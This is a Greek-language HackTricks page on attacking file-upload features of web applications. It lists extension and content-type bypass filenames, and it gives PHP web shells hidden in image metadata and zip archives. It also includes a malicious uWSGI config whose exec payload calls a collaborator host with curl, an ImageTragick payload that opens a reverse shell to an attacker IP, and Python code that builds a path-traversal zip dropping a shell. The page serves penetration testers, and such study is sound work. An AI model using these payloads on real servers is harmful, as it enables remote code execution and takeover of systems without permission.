File Upload

Υποστήριξη HackTricks

Αν ενδιαφέρεστε για καριέρα hacking και να χακάρετε το αχάρακτο - προσλαμβάνουμε! (απαιτείται άπταιστη γραπτή και προφορική πολωνική).

Γενική Μεθοδολογία Ανεβάσματος Αρχείων

Άλλες χρήσιμες επεκτάσεις:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

  • Λειτουργία σε PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Erlang Yaws Web Server: .yaws

Παράκαμψη ελέγχων επεκτάσεων αρχείων

  1. Αν ισχύει, ελέγξτε τις προηγούμενες επεκτάσεις. Δοκιμάστε επίσης να τις χρησιμοποιήσετε με κεφαλαία γράμματα: pHp, .pHP5, .PhAr ...

  2. Ελέγξτε προσθέτοντας μια έγκυρη επέκταση πριν από την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):

  • file.png.php

  • file.png.Php5

  1. Δοκιμάστε να προσθέσετε ειδικούς χαρακτήρες στο τέλος. Μπορείτε να χρησιμοποιήσετε το Burp για να bruteforce όλους τους ascii και Unicode χαρακτήρες. (Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις προηγούμενες αναφερόμενες επικεφαλίδες)

  • file.php%20

  • file.php%0a

  • file.php%00

  • file.php%0d%0a

  • file.php/

  • file.php.\

  • file.

  • file.php....

  • file.pHp5....

  1. Δοκιμάστε να παρακάμψετε τις προστασίες ξεγελώντας τον αναλυτή επεκτάσεων της πλευράς του διακομιστή με τεχνικές όπως διπλασιασμός της επέκτασης ή προσθήκη άχρηστων δεδομένων (null bytes) μεταξύ των επεκτάσεων. Μπορείτε επίσης να χρησιμοποιήσετε τις προηγούμενες επεκτάσεις για να προετοιμάσετε ένα καλύτερο payload.

  • file.png.php

  • file.png.pHp5

  • file.php#.png

  • file.php%00.png

  • file.php\x00.png

  • file.php%0a.png

  • file.php%0d%0a.png

  • file.phpJunk123png

  1. Προσθέστε άλλη μια στρώση επεκτάσεων στον προηγούμενο έλεγχο:

  • file.png.jpg.php

  • file.php%00.png%00.jpg

  1. Δοκιμάστε να τοποθετήσετε την εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση και προσευχηθείτε ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για την εκμετάλλευση κακοδιαμορφώσεων του Apache όπου οτιδήποτε με επέκταση _.php_, αλλά** όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα):

  • ex: file.php.png

  1. Χρησιμοποιώντας NTFS εναλλακτική ροή δεδομένων (ADS) σε Windows. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, θα δημιουργηθεί ένα κενό αρχείο με την απαγορευμένη επέκταση στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “::$data” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για την παράκαμψη περαιτέρω περιορισμών (.π.χ. “file.asp::$data.”)

  2. Δοκιμάστε να σπάσετε τα όρια ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php

# Linux μέγιστο 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # μείον 4 εδώ και προσθήκη .png
# Ανεβάστε το αρχείο και ελέγξτε την απόκριση πόσους χαρακτήρες επιτρέπει. Ας πούμε 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Δημιουργήστε το payload
AAA<--SNIP 232 A-->AAA.php.png

Παράκαμψη Content-Type, Magic Number, Συμπίεση & Αλλαγή Μεγέθους

  • Παράκαμψη Content-Type ελέγχων ορίζοντας την τιμή της κεφαλίδας Content-Type σε: image/png , text/plain , application/octet-stream

  • Παράκαμψη magic number ελέγχου προσθέτοντας στην αρχή του αρχείου τα bytes μιας πραγματικής εικόνας (μπερδέψτε την εντολή file). Ή εισάγετε το shell μέσα στα metadata: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg \ ή μπορείτε επίσης να εισάγετε το payload απευθείας σε μια εικόνα: echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

  • Αν συμπίεση προστίθεται στην εικόνα σας, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως PHP-GD, οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την τεχνική PLTE chunk που ορίζεται εδώ για να εισάγετε κάποιο κείμενο που θα επιβιώσει τη συμπίεση.

  • Η ιστοσελίδα μπορεί επίσης να αλλάζει το μέγεθος της εικόνας, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD imagecopyresized ή imagecopyresampled. Ωστόσο, μπορείτε να χρησιμοποιήσετε την τεχνική IDAT chunk που ορίζεται εδώ για να εισάγετε κάποιο κείμενο που θα επιβιώσει τη συμπίεση.

  • Μια άλλη τεχνική για να δημιουργήσετε ένα payload που επιβιώνει σε αλλαγή μεγέθους εικόνας, χρησιμοποιώντας τη συνάρτηση PHP-GD thumbnailImage. Ωστόσο, μπορείτε να χρησιμοποιήσετε την τεχνική tEXt chunk που ορίζεται εδώ για να εισάγετε κάποιο κείμενο που θα επιβιώσει τη συμπίεση.

Άλλα κόλπα για έλεγχο

  • Βρείτε μια ευπάθεια για να μετονομάσετε το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).

  • Βρείτε μια ευπάθεια Local File Inclusion για να εκτελέσετε το backdoor.

  • Πιθανή αποκάλυψη πληροφοριών:

  1. Ανεβάστε πολλές φορές (και τα υτόχρονα) το ίδιο αρχείο με το ίδιο όνομα

  2. Ανεβάστε ένα αρχείο με το όνομα ενός αρχείου ή φακέλου που υπάρχει ήδη

  3. Ανεβάστε ένα αρχείο με “.”, “..”, ή “…” ως όνομα. Για παράδειγμα, στο Apache σε Windows, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”.

  4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως “…:.jpg” σε NTFS. (Windows)

  5. Ανεβάστε ένα αρχείο σε Windows με μη έγκυρους χαρακτήρες όπως |<>*?” στο όνομά του. (Windows)

  6. Ανεβάστε ένα αρχείο σε Windows χρησιμοποιώντας καταχωρημένα (απαγορευμένα) ονόματα όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.

  • Δοκιμάστε επίσης να ανεβάσετε ένα εκτελέσιμο (.exe) ή ένα .html (λιγότερο ύποπτο) που θα εκτελεί κώδικα όταν ακούσια ανοιχτεί από το θύμα.

Ειδικά κόλπα επεκτάσεων

Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν διακομιστή PHP, ρίξτε μια ματιά στο κόλπο .htaccess για να εκτελέσετε κώδικα. Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν διακομιστή ASP, ρίξτε μια ματιά στο κόλπο .config για να εκτελέσετε κώδικα.

Τα αρχεία .phar είναι όπως τα .jar για java, αλλά για php, και μπορούν να χρησιμοποιηθούν όπως ένα αρχείο php (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...)

Η επέκταση .inc χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για εισαγωγή αρχείων, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει αυτή την επέκταση να εκτελείται.

Jetty RCE

Αν μπορείτε να ανεβάσετε ένα αρχείο XML σε έναν διακομιστή Jetty μπορείτε να αποκτήσετε RCE επειδή νέα *.xml και *.war επεξεργάζονται αυτόματα. Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το αρχείο XML στο $JETTY_BASE/webapps/ και περιμένετε το shell!

uWSGI RCE

Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας ελέγξτε την αρχική έρευνα: uWSGI RCE Exploitation.

Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης .ini. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως @(filename), έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το σχήμα "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να παραποιηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης .ini επεξεργάζεται.

Σκεφτείτε το παρακάτω παράδειγμα ενός κακόβουλου αρχείου uwsgi.ini, που παρουσιάζει διάφορα σχήματα:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρύθμισης. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο πρέπει να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνευθούν αλλαγές.

Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρύθμισης του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης.

wget File Upload/SSRF Trick

Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί wget για να κατεβάσει αρχεία και μπορείτε να υποδείξετε τη διεύθυνση URL. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα κατεβούν. Ωστόσο, αυτός ο έλεγχος μπορεί να παρακαμφθεί. Το μέγιστο μήκος ενός ονόματος αρχείου σε linux είναι 255, ωστόσο, wget κόβει τα ονόματα αρχείων σε 236 χαρακτήρες. Μπορείτε να κατεβάσετε ένα αρχείο με όνομα "A"*232+".php"+".gif", αυτό το όνομα αρχείου θα παρακάμψει τον έλεγχο (καθώς σε αυτό το παράδειγμα ".gif" είναι μια έγκυρη επέκταση) αλλά το wget θα μετονομάσει το αρχείο σε "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Σημειώστε ότι μια άλλη επιλογή που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον HTTP server να ανακατευθύνει σε ένα διαφορετικό αρχείο, έτσι ώστε η αρχική διεύθυνση URL να παρακάμψει τον έλεγχο και στη συνέχεια το wget να κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό δεν θα λειτουργήσει εκτός αν το wget χρησιμοποιείται με την παράμετρο --trust-server-names επειδή το wget θα κατεβάσει τη σελίδα ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στην αρχική διεύθυνση URL.

Εργαλεία

  • Upload Bypass είναι ένα ισχυρό εργαλείο σχεδιασμένο να βοηθά τους Pentesters και τους Bug Hunters στη δοκιμή μηχανισμών μεταφόρτωσης αρχείων. Εκμεταλλεύεται διάφορες τεχνικές bug bounty για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας λεπτομερείς αξιολογήσεις διαδικτυακών εφαρμογών.

Από τη μεταφόρτωση αρχείων σε άλλες ευπάθειες

Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από εδώ):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE

  2. SVG: Αποθηκευμένο XSS / SSRF / XXE

  3. GIF: Αποθηκευμένο XSS / SSRF

  4. CSV: CSV injection

  5. XML: XXE

  6. AVI: LFI / SSRF

  7. HTML / JS : HTML injection / XSS / Open redirect

  8. PNG / JPEG: Pixel flood attack (DoS)

  9. ZIP: RCE μέσω LFI / DoS

  10. PDF / PPTX: SSRF / BLIND XXE

Επέκταση Burp

Μαγικές Κεφαλίδες Μπάιτ

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["

  • JPG: "\xff\xd8\xff"

Ανατρέξτε στο https://en.wikipedia.org/wiki/List_of_file_signatures για άλλους τύπους αρχείων.

Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση

Αν μπορείτε να ανεβάσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:

Ανεβάστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα συνδεδεμένα αρχεία:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Αποσυμπίεση σε διαφορετικούς φακέλους

Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων ανεβάσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους ανεβάσματος, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής.

Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο evilarc στο GitHub. Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Επιπλέον, το trick symlink με το evilarc είναι μια επιλογή. Εάν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το /flag.txt, θα πρέπει να δημιουργηθεί ένα symlink σε αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη διάρκεια της λειτουργίας του.

Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός κακόβουλου zip αρχείου:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Κατάχρηση συμπίεσης για file spraying

Για περισσότερες λεπτομέρειες ελέγξτε την αρχική ανάρτηση στο: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Δημιουργία PHP Shell: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνούν μέσω της μεταβλητής $_REQUEST.

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying και Δημιουργία Συμπιεσμένου Αρχείου: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα zip αρχείο που περιέχει αυτά τα αρχεία.

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Τροποποίηση με Hex Editor ή vi: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας το "xxA" σε "../" για να διασχίσουν τους καταλόγους.

:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Ανεβάστε αυτό το περιεχόμενο με μια επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια (ImageMagick , 7.0.1-1) (από το exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Ενσωμάτωση PHP Shell σε PNG

Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις imagecopyresized και imagecopyresampled από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για την αλλαγή μεγέθους και την επαναδειγματοληψία εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες είναι ένα σημαντικό πλεονέκτημα για ορισμένες περιπτώσεις χρήσης.

Μια λεπτομερής εξερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας της και των πιθανών εφαρμογών, παρέχεται στο παρακάτω άρθρο: "Encoding Web Shells in PNG IDAT chunks". Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.

Περισσότερες πληροφορίες στο: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Πολυγλωσσικά Αρχεία

Τα πολυγλωσσικά αρχεία χρησιμεύουν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα GIFAR, ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό; συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.

Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προκύπτει από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή Phar αρχεία). Ωστόσο, ένα πολυγλωσσικό αρχείο, τηρώντας τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.

Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του.

Περισσότερες πληροφορίες στο: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Αναφορές

Εάν ενδιαφέρεστε για καριέρα στον hacking και να χακάρετε το αχάρακτο - προσλαμβάνουμε! (απαιτείται άπταιστη γραπτή και προφορική γνώση πολωνικών).

Υποστήριξη HackTricks

Last updated